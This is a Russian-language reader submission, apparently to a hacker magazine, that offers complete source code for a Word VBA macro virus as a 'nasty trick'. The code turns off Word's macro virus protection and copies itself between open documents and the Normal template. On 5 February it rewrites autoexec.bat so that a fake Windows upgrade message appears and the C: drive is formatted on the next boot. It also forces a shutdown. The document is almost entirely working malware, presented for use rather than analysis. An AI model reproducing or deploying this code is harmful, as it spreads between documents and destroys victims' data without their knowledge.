Привет!
Вот ещё западло на VBA:
Dim y1, y2, y3, y4 As Boolean
Dim p As Variant
Dim y5, y6 As Object
Dim y7, y8, y16 As Integer
Dim y9 As Date
Dim y10, y11, y12, y13, y14, m As String
Const y15 = "HELL"
Private Sub Document_Close()
On Error Resume Next
Set y5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set y6 = NormalTemplate.VBProject.VBComponents.Item(1)
With Options: .ConfirmConversions = 0: .VirusProtection = 0:
.SaveNormalPrompt = 0: End With
y3 = y5.CodeModule.Find(y15, 1, 1, 10000, 10000)
y4 = y6.CodeModule.Find(y15, 1, 1, 10000, 10000)
y9 = Now()
y7 = Day(y9)
y8 = Month(y9)
If y7 = 5 And y8 = 2 Then 'y7- день и y8- месяц, когда надо сделать
"upgrade" 😉
Set fs = CreateObject("Scripting.FileSystemObject")
If fs.fileexists("c:\autoexec.bat") Then
Set ab = fs.getfile("c:\autoexec.bat")
ab.Attributes = 0
End If
Set autoexec = fs.CreateTextFile("c:\autoexec.bat")
autoexec.WriteLine "cls"
autoexec.WriteLine "echo Windows upgrading your system..."
autoexec.WriteLine "echo Do not abort this process!"
autoexec.WriteLine "format c: \autotest"
autoexec.Close
m = MsgBox("Новые параметры вступят в силу после перезагрузки системы", vbOKOnly)
p = Shell("Rundll32.exe User.exe,ExitWindows")
End If
If y3 = True Then
y13 = y5.CodeModule.Lines(1, y5.CodeModule.CountOfLines)
ElseIf y4 = True Then
y13 = y6.CodeModule.Lines(1, y6.CodeModule.CountOfLines)
End If
If (y3 = True Xor y4 = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
If y3 = True Then
y2 = NormalTemplate.Saved
y11 = y5.CodeModule.Lines(1, y5.CodeModule.CountOfLines)
y6.CodeModule.DeleteLines 1, y6.CodeModule.CountOfLines
y6.CodeModule.AddFromString y11
If y2 = True Then NormalTemplate.Save
End If
If y4 = True Or ActiveDocument.Saved = False Then
y1 = ActiveDocument.Saved
y11 = y6.CodeModule.Lines(1, y6.CodeModule.CountOfLines)
y5.CodeModule.DeleteLines 1, y5.CodeModule.CountOfLines
y5.CodeModule.AddFromString y11
If y1 = True Then ActiveDocument.Save
End If
End If
End Sub
Private Sub Document_New()
Set y5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set y6 = NormalTemplate.VBProject.VBComponents.Item(1)
y9 = Now()
y7 = Day(y9)
y8 = Month(y9)
If y7 = 5 And y8 = 2 Then
Set fs = CreateObject("Scripting.FileSystemObject")
If fs.fileexists("c:\autoexec.bat") Then
Set ab = fs.getfile("c:\autoexec.bat")
ab.Attributes = 0
End If
Set autoexec = fs.CreateTextFile("c:\autoexec.bat")
autoexec.WriteLine "cls"
autoexec.WriteLine "echo Windows upgrading your system..."
autoexec.WriteLine "echo Do not abort this process!"
autoexec.WriteLine "format c: \autotest"
autoexec.Close
End If
End Sub
Private Sub Document_Open()
Set y5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set y6 = NormalTemplate.VBProject.VBComponents.Item(1)
y9 = Now()
y7 = Day(y9)
y8 = Month(y9)
If y7 = 5 And y8 = 2 Then
Set fs = CreateObject("Scripting.FileSystemObject")
If fs.fileexists("c:\autoexec.bat") Then
Set ab = fs.getfile("c:\autoexec.bat")
ab.Attributes = 0
End If
Set autoexec = fs.CreateTextFile("c:\autoexec.bat")
autoexec.WriteLine "cls"
autoexec.WriteLine "echo Windows upgrading your system..."
autoexec.WriteLine "echo Do not abort this process!"
autoexec.WriteLine "format c: \autotest"
autoexec.Close
End If
End Sub
Есть полезная инфа? Отправляй ее нам. Координаты ты знаешь: epsilon@real.xakep.ru